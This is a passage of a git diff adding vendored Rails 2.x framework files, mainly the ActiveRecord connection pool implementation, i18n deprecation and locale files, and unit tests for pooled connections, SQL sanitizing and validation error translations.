ActionView::Template.register_template_handler :foo, CustomHandler + assert_equal 'source: "Hello, <%= name %>!"', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo) + end + + def test_render_with_layout + assert_equal %(\nHello world!\n), + @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield") + end + + def test_render_with_nested_layout + assert_equal %(title\n
column
\n
content
\n), + @view.render(:file => "test/nested_layout.erb", :layout => "layouts/yield") + end +end diff --git a/vendor/rails/actionpack/test/template/translation_helper_test.rb b/vendor/rails/actionpack/test/template/translation_helper_test.rb new file mode 100644 index 00000000..d0d65cb4 --- /dev/null +++ b/vendor/rails/actionpack/test/template/translation_helper_test.rb @@ -0,0 +1,28 @@ +require 'abstract_unit' + +class TranslationHelperTest < Test::Unit::TestCase + include ActionView::Helpers::TagHelper + include ActionView::Helpers::TranslationHelper + + attr_reader :request + uses_mocha 'translation_helper_test' do + def setup + end + + def test_delegates_to_i18n_setting_the_raise_option + I18n.expects(:translate).with(:foo, :locale => 'en', :raise => true) + translate :foo, :locale => 'en' + end + + def test_returns_missing_translation_message_wrapped_into_span + expected = 'en, foo' + assert_equal expected, translate(:foo) + end + + def test_delegates_localize_to_i18n + @time = Time.utc(2008, 7, 8, 12, 18, 38) + I18n.expects(:localize).with(@time) + localize @time + end + end +end \ No newline at end of file diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb new file mode 100644 index 00000000..901b1712 --- /dev/null +++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb @@ -0,0 +1,355 @@ +require 'monitor' +require 'set' + +module ActiveRecord + # Raised when a connection could not be obtained within the connection + # acquisition timeout period. + class ConnectionTimeoutError < ConnectionNotEstablished + end + + module ConnectionAdapters + # Connection pool base class for managing ActiveRecord database + # connections. + # + # == Introduction + # + # A connection pool synchronizes thread access to a limited number of + # database connections. The basic idea is that each thread checks out a + # database connection from the pool, uses that connection, and checks the + # connection back in. ConnectionPool is completely thread-safe, and will + # ensure that a connection cannot be used by two threads at the same time, + # as long as ConnectionPool's contract is correctly followed. It will also + # handle cases in which there are more threads than connections: if all + # connections have been checked out, and a thread tries to checkout a + # connection anyway, then ConnectionPool will wait until some other thread + # has checked in a connection. + # + # == Obtaining (checking out) a connection + # + # Connections can be obtained and used from a connection pool in several + # ways: + # + # 1. Simply use ActiveRecord::Base.connection as with ActiveRecord 2.1 and + # earlier (pre-connection-pooling). Eventually, when you're done with + # the connection(s) and wish it to be returned to the pool, you call + # ActiveRecord::Base.clear_active_connections!. This will be the + # default behavior for ActiveRecord when used in conjunction with + # ActionPack's request handling cycle. + # 2. Manually check out a connection from the pool with + # ActiveRecord::Base.connection_pool.checkout. You are responsible for + # returning this connection to the pool when finished by calling + # ActiveRecord::Base.connection_pool.checkin(connection). + # 3. Use ActiveRecord::Base.connection_pool.with_connection(&block), which + # obtains a connection, yields it as the sole argument to the block, + # and returns it to the pool after the block completes. + # + # Connections in the pool are actually AbstractAdapter objects (or objects + # compatible with AbstractAdapter's interface). + # + # == Options + # + # There are two connection-pooling-related options that you can add to + # your database connection configuration: + # + # * +pool+: number indicating size of connection pool (default 5) + # * +wait_timeout+: number of seconds to block and wait for a connection + # before giving up and raising a timeout error (default 5 seconds). + class ConnectionPool + attr_reader :spec + + # Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification + # object which describes database connection information (e.g. adapter, + # host name, username, password, etc), as well as the maximum size for + # this ConnectionPool. + # + # The default ConnectionPool maximum size is 5. + def initialize(spec) + @spec = spec + + # The cache of reserved connections mapped to threads + @reserved_connections = {} + + # The mutex used to synchronize pool access + @connection_mutex = Monitor.new + @queue = @connection_mutex.new_cond + + # default 5 second timeout unless on ruby 1.9 + @timeout = + if RUBY_VERSION < '1.9' + spec.config[:wait_timeout] || 5 + end + + # default max pool size to 5 + @size = (spec.config[:pool] && spec.config[:pool].to_i) || 5 + + @connections = [] + @checked_out = [] + end + + # Retrieve the connection associated with the current thread, or call + # #checkout to obtain one if necessary. + # + # #connection can be called any number of times; the connection is + # held in a hash keyed by the thread id. + def connection + if conn = @reserved_connections[current_connection_id] + conn + else + @reserved_connections[current_connection_id] = checkout + end + end + + # Signal that the thread is finished with the current connection. + # #release_connection releases the connection-thread association + # and returns the connection to the pool. + def release_connection + conn = @reserved_connections.delete(current_connection_id) + checkin conn if conn + end + + # Reserve a connection, and yield it to a block. Ensure the connection is + # checked back in when finished. + def with_connection + conn = checkout + yield conn + ensure + checkin conn + end + + # Returns true if a connection has already been opened. + def connected? + !@connections.empty? + end + + # Disconnects all connections in the pool, and clears the pool. + def disconnect! + @reserved_connections.each do |name,conn| + checkin conn + end + @reserved_connections = {} + @connections.each do |conn| + conn.disconnect! + end + @connections = [] + end + + # Clears the cache which maps classes + def clear_reloadable_connections! + @reserved_connections.each do |name, conn| + checkin conn + end + @reserved_connections = {} + @connections.each do |conn| + conn.disconnect! if conn.requires_reloading? + end + @connections = [] + end + + # Verify active connections and remove and disconnect connections + # associated with stale threads. + def verify_active_connections! #:nodoc: + clear_stale_cached_connections! + @connections.each do |connection| + connection.verify! + end + end + + # Return any checked-out connections back to the pool by threads that + # are no longer alive. + def clear_stale_cached_connections! + remove_stale_cached_threads!(@reserved_connections) do |name, conn| + checkin conn + end + end + + # Check-out a database connection from the pool, indicating that you want + # to use it. You should call #checkin when you no longer need this. + # + # This is done by either returning an existing connection, or by creating + # a new connection. If the maximum number of connections for this pool has + # already been reached, but the pool is empty (i.e. they're all being used), + # then this method will wait until a thread has checked in a connection. + # The wait time is bounded however: if no connection can be checked out + # within the timeout specified for this pool, then a ConnectionTimeoutError + # exception will be raised. + # + # Returns: an AbstractAdapter object. + # + # Raises: + # - ConnectionTimeoutError: no connection can be obtained from the pool + # within the timeout period. + def checkout + # Checkout an available connection + @connection_mutex.synchronize do + loop do + conn = if @checked_out.size < @connections.size + checkout_existing_connection + elsif @connections.size < @size + checkout_new_connection + end + return conn if conn + # No connections available; wait for one + if @queue.wait(@timeout) + next + else + # try looting dead threads + clear_stale_cached_connections! + if @size == @checked_out.size + raise ConnectionTimeoutError, "could not obtain a database connection#{" within #{@timeout} seconds" if @timeout}. The max pool size is currently #{@size}; consider increasing it." + end + end + end + end + end + + # Check-in a database connection back into the pool, indicating that you + # no longer need this connection. + # + # +conn+: an AbstractAdapter object, which was obtained by earlier by + # calling +checkout+ on this pool. + def checkin(conn) + @connection_mutex.synchronize do + conn.run_callbacks :checkin + @checked_out.delete conn + @queue.signal + end + end + + synchronize :clear_reloadable_connections!, :verify_active_connections!, + :connected?, :disconnect!, :with => :@connection_mutex + + private + def new_connection + ActiveRecord::Base.send(spec.adapter_method, spec.config) + end + + def current_connection_id #:nodoc: + Thread.current.object_id + end + + # Remove stale threads from the cache. + def remove_stale_cached_threads!(cache, &block) + keys = Set.new(cache.keys) + + Thread.list.each do |thread| + keys.delete(thread.object_id) if thread.alive? + end + keys.each do |key| + next unless cache.has_key?(key) + block.call(key, cache[key]) + cache.delete(key) + end + end + + def checkout_new_connection + c = new_connection + @connections << c + checkout_and_verify(c) + end + + def checkout_existing_connection + c = (@connections - @checked_out).first + checkout_and_verify(c) + end + + def checkout_and_verify(c) + c.verify! + c.run_callbacks :checkout + @checked_out << c + c + end + end + + # ConnectionHandler is a collection of ConnectionPool objects. It is used + # for keeping separate connection pools for ActiveRecord models that connect + # to different databases. + # + # For example, suppose that you have 5 models, with the following hierarchy: + # + # | + # +-- Book + # | | + # | +-- ScaryBook + # | +-- GoodBook + # +-- Author + # +-- BankAccount + # + # Suppose that Book is to connect to a separate database (i.e. one other + # than the default database). Then Book, ScaryBook and GoodBook will all use + # the same connection pool. Likewise, Author and BankAccount will use the + # same connection pool. However, the connection pool used by Author/BankAccount + # is not the same as the one used by Book/ScaryBook/GoodBook. + # + # Normally there is only a single ConnectionHandler instance, accessible via + # ActiveRecord::Base.connection_handler. ActiveRecord models use this to + # determine that connection pool that they should use. + class ConnectionHandler + def initialize(pools = {}) + @connection_pools = pools + end + + def connection_pools + @connection_pools ||= {} + end + + def establish_connection(name, spec) + @connection_pools[name] = ConnectionAdapters::ConnectionPool.new(spec) + end + + # Returns any connections in use by the current thread back to the pool, + # and also returns connections to the pool cached by threads that are no + # longer alive. + def clear_active_connections! + @connection_pools.each_value {|pool| pool.release_connection } + end + + # Clears the cache which maps classes + def clear_reloadable_connections! + @connection_pools.each_value {|pool| pool.clear_reloadable_connections! } + end + + def clear_all_connections! + @connection_pools.each_value {|pool| pool.disconnect! } + end + + # Verify active connections. + def verify_active_connections! #:nodoc: + @connection_pools.each_value {|pool| pool.verify_active_connections! } + end + + # Locate the connection of the nearest super class. This can be an + # active or defined connection: if it is the latter, it will be + # opened and set as the active connection for the class it was defined + # for (not necessarily the current class). + def retrieve_connection(klass) #:nodoc: + pool = retrieve_connection_pool(klass) + (pool && pool.connection) or raise ConnectionNotEstablished + end + + # Returns true if a connection that's accessible to this class has + # already been opened. + def connected?(klass) + conn = retrieve_connection_pool(klass) + conn ? conn.connected? : false + end + + # Remove the connection for this class. This will close the active + # connection and the defined connection (if they exist). The result + # can be used as an argument for establish_connection, for easily + # re-establishing the connection. + def remove_connection(klass) + pool = @connection_pools[klass.name] + @connection_pools.delete_if { |key, value| value == pool } + pool.disconnect! if pool + pool.spec.config if pool + end + + def retrieve_connection_pool(klass) + pool = @connection_pools[klass.name] + return pool if pool + return nil if ActiveRecord::Base == klass + retrieve_connection_pool klass.superclass + end + end + end +end diff --git a/vendor/rails/activerecord/lib/active_record/dynamic_finder_match.rb b/vendor/rails/activerecord/lib/active_record/dynamic_finder_match.rb new file mode 100644 index 00000000..8f9f05ce --- /dev/null +++ b/vendor/rails/activerecord/lib/active_record/dynamic_finder_match.rb @@ -0,0 +1,41 @@ +module ActiveRecord + class DynamicFinderMatch + def self.match(method) + df_match = self.new(method) + df_match.finder ? df_match : nil + end + + def initialize(method) + @finder = :first + case method.to_s + when /^find_(all_by|last_by|by)_([_a-zA-Z]\w*)$/ + @finder = :last if $1 == 'last_by' + @finder = :all if $1 == 'all_by' + names = $2 + when /^find_by_([_a-zA-Z]\w*)\!$/ + @bang = true + names = $1 + when /^find_or_(initialize|create)_by_([_a-zA-Z]\w*)$/ + @instantiator = $1 == 'initialize' ? :new : :create + names = $2 + else + @finder = nil + end + @attribute_names = names && names.split('_and_') + end + + attr_reader :finder, :attribute_names, :instantiator + + def finder? + !@finder.nil? && @instantiator.nil? + end + + def instantiator? + @finder == :first && !@instantiator.nil? + end + + def bang? + @bang + end + end +end diff --git a/vendor/rails/activerecord/lib/active_record/i18n_interpolation_deprecation.rb b/vendor/rails/activerecord/lib/active_record/i18n_interpolation_deprecation.rb new file mode 100644 index 00000000..cd634e1b --- /dev/null +++ b/vendor/rails/activerecord/lib/active_record/i18n_interpolation_deprecation.rb @@ -0,0 +1,26 @@ +# Deprecates the use of the former message interpolation syntax in activerecord +# as in "must have %d characters". The new syntax uses explicit variable names +# as in "{{value}} must have {{count}} characters". + +require 'i18n/backend/simple' +module I18n + module Backend + class Simple + DEPRECATED_INTERPOLATORS = { '%d' => '{{count}}', '%s' => '{{value}}' } + + protected + def interpolate_with_deprecated_syntax(locale, string, values = {}) + return string unless string.is_a?(String) + + string = string.gsub(/%d|%s/) do |s| + instead = DEPRECATED_INTERPOLATORS[s] + ActiveSupport::Deprecation.warn "using #{s} in messages is deprecated; use #{instead} instead." + instead + end + + interpolate_without_deprecated_syntax(locale, string, values) + end + alias_method_chain :interpolate, :deprecated_syntax + end + end +end \ No newline at end of file diff --git a/vendor/rails/activerecord/lib/active_record/locale/en.yml b/vendor/rails/activerecord/lib/active_record/locale/en.yml new file mode 100644 index 00000000..7e205435 --- /dev/null +++ b/vendor/rails/activerecord/lib/active_record/locale/en.yml @@ -0,0 +1,54 @@ +en: + activerecord: + errors: + # The values :model, :attribute and :value are always available for interpolation + # The value :count is available when applicable. Can be used for pluralization. + messages: + inclusion: "is not included in the list" + exclusion: "is reserved" + invalid: "is invalid" + confirmation: "doesn't match confirmation" + accepted: "must be accepted" + empty: "can't be empty" + blank: "can't be blank" + too_long: "is too long (maximum is {{count}} characters)" + too_short: "is too short (minimum is {{count}} characters)" + wrong_length: "is the wrong length (should be {{count}} characters)" + taken: "has already been taken" + not_a_number: "is not a number" + greater_than: "must be greater than {{count}}" + greater_than_or_equal_to: "must be greater than or equal to {{count}}" + equal_to: "must be equal to {{count}}" + less_than: "must be less than {{count}}" + less_than_or_equal_to: "must be less than or equal to {{count}}" + odd: "must be odd" + even: "must be even" + # Append your own errors here or at the model/attributes scope. + + # You can define own errors for models or model attributes. + # The values :model, :attribute and :value are always available for interpolation. + # + # For example, + # models: + # user: + # blank: "This is a custom blank message for {{model}}: {{attribute}}" + # attributes: + # login: + # blank: "This is a custom blank message for User login" + # Will define custom blank validation message for User model and + # custom blank validation message for login attribute of User model. + models: + + # Translate model names. Used in Model.human_name(). + #models: + # For example, + # user: "Dude" + # will translate User model name to "Dude" + + # Translate model attribute names. Used in Model.human_attribute_name(attribute). + #attributes: + # For example, + # user: + # login: "Handle" + # will translate User attribute "login" as "Handle" + diff --git a/vendor/rails/activerecord/test/cases/callbacks_observers_test.rb b/vendor/rails/activerecord/test/cases/callbacks_observers_test.rb new file mode 100644 index 00000000..87de5249 --- /dev/null +++ b/vendor/rails/activerecord/test/cases/callbacks_observers_test.rb @@ -0,0 +1,38 @@ +require "cases/helper" + +class Comment < ActiveRecord::Base + attr_accessor :callers + + before_validation :record_callers + + def after_validation + record_callers + end + + def record_callers + callers << self.class if callers + end +end + +class CommentObserver < ActiveRecord::Observer + attr_accessor :callers + + def after_validation(model) + callers << self.class if callers + end +end + +class CallbacksObserversTest < ActiveRecord::TestCase + def test_model_callbacks_fire_before_observers_are_notified + callers = [] + + comment = Comment.new + comment.callers = callers + + CommentObserver.instance.callers = callers + + comment.valid? + + assert_equal [Comment, Comment, CommentObserver], callers, "model callbacks did not fire before observers were notified" + end +end diff --git a/vendor/rails/activerecord/test/cases/i18n_test.rb b/vendor/rails/activerecord/test/cases/i18n_test.rb new file mode 100644 index 00000000..b1db662e --- /dev/null +++ b/vendor/rails/activerecord/test/cases/i18n_test.rb @@ -0,0 +1,41 @@ +require "cases/helper" +require 'models/topic' +require 'models/reply' + +class ActiveRecordI18nTests < Test::Unit::TestCase + + def setup + I18n.backend = I18n::Backend::Simple.new + end + + def test_translated_model_attributes + I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } } + assert_equal 'topic title attribute', Topic.human_attribute_name('title') + end + + def test_translated_model_attributes_with_sti + I18n.backend.store_translations 'en', :activerecord => {:attributes => {:reply => {:title => 'reply title attribute'} } } + assert_equal 'reply title attribute', Reply.human_attribute_name('title') + end + + def test_translated_model_attributes_with_sti_fallback + I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } } + assert_equal 'topic title attribute', Reply.human_attribute_name('title') + end + + def test_translated_model_names + I18n.backend.store_translations 'en', :activerecord => {:models => {:topic => 'topic model'} } + assert_equal 'topic model', Topic.human_name + end + + def test_translated_model_names_with_sti + I18n.backend.store_translations 'en', :activerecord => {:models => {:reply => 'reply model'} } + assert_equal 'reply model', Reply.human_name + end + + def test_translated_model_names_with_sti_fallback + I18n.backend.store_translations 'en', :activerecord => {:models => {:topic => 'topic model'} } + assert_equal 'topic model', Reply.human_name + end +end + diff --git a/vendor/rails/activerecord/test/cases/pooled_connections_test.rb b/vendor/rails/activerecord/test/cases/pooled_connections_test.rb new file mode 100644 index 00000000..2649a935 --- /dev/null +++ b/vendor/rails/activerecord/test/cases/pooled_connections_test.rb @@ -0,0 +1,103 @@ +require "cases/helper" + +class PooledConnectionsTest < ActiveRecord::TestCase + def setup + super + @connection = ActiveRecord::Base.remove_connection + end + + def teardown + ActiveRecord::Base.clear_all_connections! + ActiveRecord::Base.establish_connection(@connection) + super + end + + def checkout_connections + ActiveRecord::Base.establish_connection(@connection.merge({:pool => 2, :wait_timeout => 0.3})) + @connections = [] + @timed_out = 0 + + 4.times do + Thread.new do + begin + @connections << ActiveRecord::Base.connection_pool.checkout + rescue ActiveRecord::ConnectionTimeoutError + @timed_out += 1 + end + end.join + end + end + + # Will deadlock due to lack of Monitor timeouts in 1.9 + if RUBY_VERSION < '1.9' + def test_pooled_connection_checkout + checkout_connections + assert_equal @connections.length, 2 + assert_equal @timed_out, 2 + end + end + + def checkout_checkin_connections(pool_size, threads) + ActiveRecord::Base.establish_connection(@connection.merge({:pool => pool_size, :wait_timeout => 0.5})) + @connection_count = 0 + @timed_out = 0 + threads.times do + Thread.new do + begin + conn = ActiveRecord::Base.connection_pool.checkout + sleep 0.1 + ActiveRecord::Base.connection_pool.checkin conn + @connection_count += 1 + rescue ActiveRecord::ConnectionTimeoutError + @timed_out += 1 + end + end.join + end + end + + def test_pooled_connection_checkin_one + checkout_checkin_connections 1, 2 + assert_equal 2, @connection_count + assert_equal 0, @timed_out + end + + def test_pooled_connection_checkin_two + checkout_checkin_connections 2, 3 + assert_equal 3, @connection_count + assert_equal 0, @timed_out + end + + def test_pooled_connection_checkout_existing_first + ActiveRecord::Base.establish_connection(@connection.merge({:pool => 1})) + conn_pool = ActiveRecord::Base.connection_pool + conn = conn_pool.checkout + conn_pool.checkin(conn) + conn = conn_pool.checkout + assert ActiveRecord::ConnectionAdapters::AbstractAdapter === conn + conn_pool.checkin(conn) + end + + def test_not_connected_defined_connection_returns_false + ActiveRecord::Base.establish_connection(@connection) + assert ! ActiveRecord::Base.connected? + end + + def test_undefined_connection_returns_false + old_handler = ActiveRecord::Base.connection_handler + ActiveRecord::Base.connection_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new + assert_equal false, ActiveRecord::Base.connected? + ensure + ActiveRecord::Base.connection_handler = old_handler + end +end unless %w(FrontBase).include? ActiveRecord::Base.connection.adapter_name + +class AllowConcurrencyDeprecatedTest < ActiveRecord::TestCase + def test_allow_concurrency_is_deprecated + assert_deprecated('ActiveRecord::Base.allow_concurrency') do + ActiveRecord::Base.allow_concurrency + end + assert_deprecated('ActiveRecord::Base.allow_concurrency=') do + ActiveRecord::Base.allow_concurrency = true + end + end +end diff --git a/vendor/rails/activerecord/test/cases/reload_models_test.rb b/vendor/rails/activerecord/test/cases/reload_models_test.rb new file mode 100644 index 00000000..411b5f6a --- /dev/null +++ b/vendor/rails/activerecord/test/cases/reload_models_test.rb @@ -0,0 +1,20 @@ +require "cases/helper" +require 'models/owner' +require 'models/pet' + +class ReloadModelsTest < ActiveRecord::TestCase + def test_has_one_with_reload + pet = Pet.find_by_name('parrot') + pet.owner = Owner.find_by_name('ashley') + + # Reload the class Owner, simulating auto-reloading of model classes in a + # development environment. Note that meanwhile the class Pet is not + # reloaded, simulating a class that is present in a plugin. + Object.class_eval { remove_const :Owner } + Kernel.load(File.expand_path(File.join(File.dirname(__FILE__), "../models/owner.rb"))) + + pet = Pet.find_by_name('parrot') + pet.owner = Owner.find_by_name('ashley') + assert_equal pet.owner, Owner.find_by_name('ashley') + end +end \ No newline at end of file diff --git a/vendor/rails/activerecord/test/cases/sanitize_test.rb b/vendor/rails/activerecord/test/cases/sanitize_test.rb new file mode 100644 index 00000000..817897ce --- /dev/null +++ b/vendor/rails/activerecord/test/cases/sanitize_test.rb @@ -0,0 +1,25 @@ +require "cases/helper" +require 'models/binary' + +class SanitizeTest < ActiveRecord::TestCase + def setup + end + + def test_sanitize_sql_array_handles_string_interpolation + quoted_bambi = ActiveRecord::Base.connection.quote_string("Bambi") + assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi"]) + assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi".mb_chars]) + quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote_string("Bambi\nand\nThumper") + assert_equal "name=#{quoted_bambi_and_thumper}",Binary.send(:sanitize_sql_array, ["name=%s", "Bambi\nand\nThumper"]) + assert_equal "name=#{quoted_bambi_and_thumper}",Binary.send(:sanitize_sql_array, ["name=%s", "Bambi\nand\nThumper".mb_chars]) + end + + def test_sanitize_sql_array_handles_bind_variables + quoted_bambi = ActiveRecord::Base.connection.quote("Bambi") + assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi"]) + assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi".mb_chars]) + quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper") + assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper"]) + assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper".mb_chars]) + end +end diff --git a/vendor/rails/activerecord/test/cases/validations_i18n_test.rb b/vendor/rails/activerecord/test/cases/validations_i18n_test.rb new file mode 100644 index 00000000..a13a72a7 --- /dev/null +++ b/vendor/rails/activerecord/test/cases/validations_i18n_test.rb @@ -0,0 +1,921 @@ +require "cases/helper" +require 'models/topic' +require 'models/reply' + +class ActiveRecordValidationsI18nTests < Test::Unit::TestCase + def setup + reset_callbacks Topic + @topic = Topic.new + @old_load_path, @old_backend = I18n.load_path, I18n.backend + I18n.load_path.clear + I18n.backend = I18n::Backend::Simple.new + I18n.backend.store_translations('en', :activerecord => {:errors => {:messages => {:custom => nil}}}) + end + + def teardown + reset_callbacks Topic + I18n.load_path.replace @old_load_path + I18n.backend = @old_backend + end + + def unique_topic + @unique ||= Topic.create :title => 'unique!' + end + + def replied_topic + @replied_topic ||= begin + topic = Topic.create(:title => "topic") + topic.replies << Reply.new + topic + end + end + + def reset_callbacks(*models) + models.each do |model| + model.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new) + model.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new) + model.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new) + end + end + + def test_default_error_messages_is_deprecated + assert_deprecated('ActiveRecord::Errors.default_error_messages') do + ActiveRecord::Errors.default_error_messages + end + end + + def test_percent_s_interpolation_syntax_in_error_messages_still_works + ActiveSupport::Deprecation.silence do + result = I18n.t :does_not_exist, :default => "%s interpolation syntax is deprecated", :value => 'this' + assert_equal result, "this interpolation syntax is deprecated" + end + end + + def test_percent_s_interpolation_syntax_in_error_messages_is_deprecated + assert_deprecated('using %s in messages') do + I18n.t :does_not_exist, :default => "%s interpolation syntax is deprected", :value => 'this' + end + end + + def test_percent_d_interpolation_syntax_in_error_messages_still_works + ActiveSupport::Deprecation.silence do + result = I18n.t :does_not_exist, :default => "%d interpolation syntaxes are deprecated", :count => 2 + assert_equal result, "2 interpolation syntaxes are deprecated" + end + end + + def test_percent_d_interpolation_syntax_in_error_messages_is_deprecated + assert_deprecated('using %d in messages') do + I18n.t :does_not_exist, :default => "%d interpolation syntaxes are deprected", :count => 2 + end + end + + # ActiveRecord::Errors + uses_mocha 'ActiveRecord::Errors' do + + def test_errors_generate_message_translates_custom_model_attribute_key + + I18n.expects(:translate).with( + :topic, + { :count => 1, + :default => ['Topic'], + :scope => [:activerecord, :models] + } + ).returns('Topic') + + I18n.expects(:translate).with( + :"topic.title", + { :count => 1, + :default => ['Title'], + :scope => [:activerecord, :attributes] + } + ).returns('Title') + + I18n.expects(:translate).with( + :"models.topic.attributes.title.invalid", + :value => nil, + :scope => [:activerecord, :errors], + :default => [ + :"models.topic.invalid", + 'default from class def error 1', + :"messages.invalid"], + :attribute => "Title", + :model => "Topic" + ).returns('default from class def error 1') + + @topic.errors.generate_message :title, :invalid, :default => 'default from class def error 1' + end + + def test_errors_generate_message_translates_custom_model_attribute_keys_with_sti + + I18n.expects(:translate).with( + :reply, + { :count => 1, + :default => [:topic, 'Reply'], + :scope => [:activerecord, :models] + } + ).returns('Reply') + + I18n.expects(:translate).with( + :"reply.title", + { :count => 1, + :default => [:'topic.title', 'Title'], + :scope => [:activerecord, :attributes] + } + ).returns('Title') + + I18n.expects(:translate).with( + :"models.reply.attributes.title.invalid", + :value => nil, + :scope => [:activerecord, :errors], + :default => [ + :"models.reply.invalid", + :"models.topic.attributes.title.invalid", + :"models.topic.invalid", + 'default from class def', + :"messages.invalid"], + :model => 'Reply', + :attribute => 'Title' + ).returns("default from class def") + + Reply.new.errors.generate_message :title, :invalid, :default => 'default from class def' + + end + + def test_errors_add_on_empty_generates_message + @topic.errors.expects(:generate_message).with(:title, :empty, {:default => nil}) + @topic.errors.add_on_empty :title + end + + def test_errors_add_on_empty_generates_message_with_custom_default_message + @topic.errors.expects(:generate_message).with(:title, :empty, {:default => 'custom'}) + @topic.errors.add_on_empty :title, 'custom' + end + + def test_errors_add_on_blank_generates_message + @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil}) + @topic.errors.add_on_blank :title + end + + def test_errors_add_on_blank_generates_message_with_custom_default_message + @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'}) + @topic.errors.add_on_blank :title, 'custom' + end + + def test_errors_full_messages_translates_human_attribute_name_for_model_attributes + @topic.errors.instance_variable_set :@errors, { 'title' => ['empty'] } + I18n.expects(:translate).with(:"topic.title", :default => ['Title'], :scope => [:activerecord, :attributes], :count => 1).returns('Title') + @topic.errors.full_messages :locale => 'en' + end + end + + # ActiveRecord::Validations + uses_mocha 'ActiveRecord::Validations' do + # validates_confirmation_of w/ mocha + + def test_validates_confirmation_of_generates_message + Topic.validates_confirmation_of :title + @topic.title_confirmation = 'foo' + @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => nil}) + @topic.valid? + end + + def test_validates_confirmation_of_generates_message_with_custom_default_message + Topic.validates_confirmation_of :title, :message => 'custom' + @topic.title_confirmation = 'foo' + @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => 'custom'}) + @topic.valid? + end + + # validates_acceptance_of w/ mocha + + def test_validates_acceptance_of_generates_message + Topic.validates_acceptance_of :title, :allow_nil => false + @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => nil}) + @topic.valid? + end + + def test_validates_acceptance_of_generates_message_with_custom_default_message + Topic.validates_acceptance_of :title, :message => 'custom', :allow_nil => false + @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => 'custom'}) + @topic.valid? + end + + # validates_presence_of w/ mocha + + def test_validates_presence_of_generates_message + Topic.validates_presence_of :title + @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil}) + @topic.valid? + end + + def test_validates_presence_of_generates_message_with_custom_default_message + Topic.validates_presence_of :title, :message => 'custom' + @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'}) + @topic.valid? + end + + def test_validates_length_of_within_generates_message_with_title_too_short + Topic.validates_length_of :title, :within => 3..5 + @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil}) + @topic.valid? + end + + def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message + Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom' + @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'}) + @topic.valid? + end + + def test_validates_length_of_within_generates_message_with_title_too_long + Topic.validates_length_of :title, :within => 3..5 + @topic.title = 'this title is too long' + @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil}) + @topic.valid? + end + + def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message + Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom' + @topic.title = 'this title is too long' + @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'}) + @topic.valid? + end + + # validates_length_of :within w/ mocha + + def test_validates_length_of_within_generates_message_with_title_too_short + Topic.validates_length_of :title, :within => 3..5 + @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil}) + @topic.valid? + end + + def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message + Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom' + @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'}) + @topic.valid? + end + + def test_validates_length_of_within_generates_message_with_title_too_long + Topic.validates_length_of :title, :within => 3..5 + @topic.title = 'this title is too long' + @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil}) + @topic.valid? + end + + def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message + Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom' + @topic.title = 'this title is too long' + @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'}) + @topic.valid? + end + + # validates_length_of :is w/ mocha + + def test_validates_length_of_is_generates_message + Topic.validates_length_of :title, :is => 5 + @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => nil}) + @topic.valid? + end + + def test_validates_length_of_is_generates_message_with_custom_default_message + Topic.validates_length_of :title, :is => 5, :message => 'custom' + @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => 'custom'}) + @topic.valid? + end + + # validates_uniqueness_of w/ mocha + + def test_validates_uniqueness_of_generates_message + Topic.validates_uniqueness_of :title + @topic.title = unique_topic.title + @topic.errors.expects(:generate_message).with(:title, :taken, {:default => nil, :value => 'unique!'}) + @topic.valid? + end + + def test_validates_uniqueness_of_generates_message_with_custom_default_message + Topic.validates_uniqueness_of :title, :message => 'custom' + @topic.title = unique_topic.title + @topic.errors.expects(:generate_message).with(:title, :taken, {:default => 'custom', :value => 'unique!'}) + @topic.valid? + end + + # validates_format_of 